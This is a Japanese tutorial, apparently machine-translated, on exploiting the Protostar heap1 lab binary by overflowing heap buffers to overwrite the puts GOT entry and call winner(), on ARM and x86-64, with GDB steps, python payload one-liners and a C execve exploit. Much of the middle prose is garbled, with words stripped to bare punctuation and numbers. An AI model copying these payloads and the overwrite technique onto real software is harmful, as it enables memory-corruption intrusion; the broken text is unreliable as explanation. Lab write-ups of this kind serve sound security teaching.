このチュートリアルは初心者向けですが、読者がすでにglibcのmalloc 関数の基本に精通していることを前提としています 。32ビットのRaspberryPI / ARM1176の例を使用して 、Linuxで ヒープオーバーフローを悪用する方法を詳しく見てみ ましょう。また、x86-x64 システムでの操作の微妙な違いのいくつかを分析し ます。このために、GDB + GEFツールを使用します 。
Protostarラボタスク、つまり このタスクから借用した脆弱なコードに直接進みましょう 。
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct internet {
int priority;
char *name;
};
void winner()
{
printf("and we have a winner @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
コードについて簡単に説明します。
構造が作成され
i1, i2, i3
ます。
プログラムが起動すると、2つの引数が渡され
i1->name
、i2->name
それぞれポインタとの アドレスにコピーされます。
そして最後に、「そしてそれはラップの人々です!」というメッセージ です。..。
仕事
関数を呼び出します winner
。
決定
まず、コードをコンパイルしましょう。
gcc -o heap1 heap1.c
関数を呼び出すには、
winner
そのアドレスを取得して、関数のアドレスを含むポインターに書き込む必要がありますprintf
。
これを行うには、ポインタをオーバーフローさせ
i1->name
、i2->name
アドレスを関数のアドレスで上書き する必要 がありますwinner
。
,
i1->name
i2->name.
, .
.
1
. GDB
gdb -q heap1
disas main
b *0x000105
r AAAA BBBB
:
info proc map
x/120x 0x22000
(chunk). .
2
.
heap chunks
0x22160
,
heap chunk 0x22160
16
12
4
32 . 12 20 , . ( 64 32 + 24 + 8 = 64 , 40 )
24 (20 4 ):
./heap1 $(python3 -c 'print("A"*24+" "+"BBBB")')
Segmentation fault. , .
gdb ./heap1 disas main
strcopy
, 0x000105e8
b *0x105e8
r $(python3 -c 'print("A"*24+" "+"BBBB")')
, :
winner
, , printf
( puts
).
x/i 0x103a0
puts
GOT. GEF got
. GOT .
got
, , 0x21018
. winner
.
winner
.
p winner
0x10504
.
. i2->name
:
r $(python3 -c 'print("A"*20+"\x18\x10\x02\x00"+" "+"\x04\x05\x01\x00")')
, 0x21018
0x10504 <winner>
, . nexti
, 0x21018
:
0x10504 <winner>
. :
./heap1 $(python3 -c 'print("A"*20+"\x18\x10\x02\x00"+" "+"\x04\x05\x01\x00")')
, bash , , - (ignored null byte in input), , , winner
. .
Linux x86-x64. GDB 10.1.90 ARM1176, Raspberry GDB 8.2.1. , puts
, .plt
disas main
:
x/i 0x555555555040
. , .
winner
p winner
puts 0x555555558020
, x20, , , , bash . . , "$(...)"
, :
./heap1 "$(python -c 'print("A"*40+"\x20\x80\x55\x55\x55\x55"+" "+"\x75\x51\x55\x55\x55\x55")')"
. , , 8 -, ..
\x20\x80\x55\x55\x55\x55\x00\x00
\x75\x51\x55\x55\x55\x55\x00\x00
しかし、ここでも問題が発生します。これは、コマンドシェルがヌルバイトを行の終わりとして扱い、エクスプロイトが機能しないためです。アドレスが正しく受信されません。
この問題を解決するには、C言語のexecve関数 を使用できます 。
エクスプロイトを作成します。
#include <stdio.h>
#include <unistd.h>
int main(void)
{
char* const argv[] = {"", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\x80\x55\x55\x55\x55\x00\x00", "\x75\x51\x55\x55\x55\x55\x00\x00", 0 };
if (execve("./heap1", argv, NULL) == -1)
perror("Could not execve");
return 1;
}
コードではすべてが明確だと思います。
コンパイルして実行する
gcc ./exploit.c -o exploit gdb -q ./exploit
これで、エクスプロイトは正常に機能します。
それで全部です。ご清聴ありがとうございました。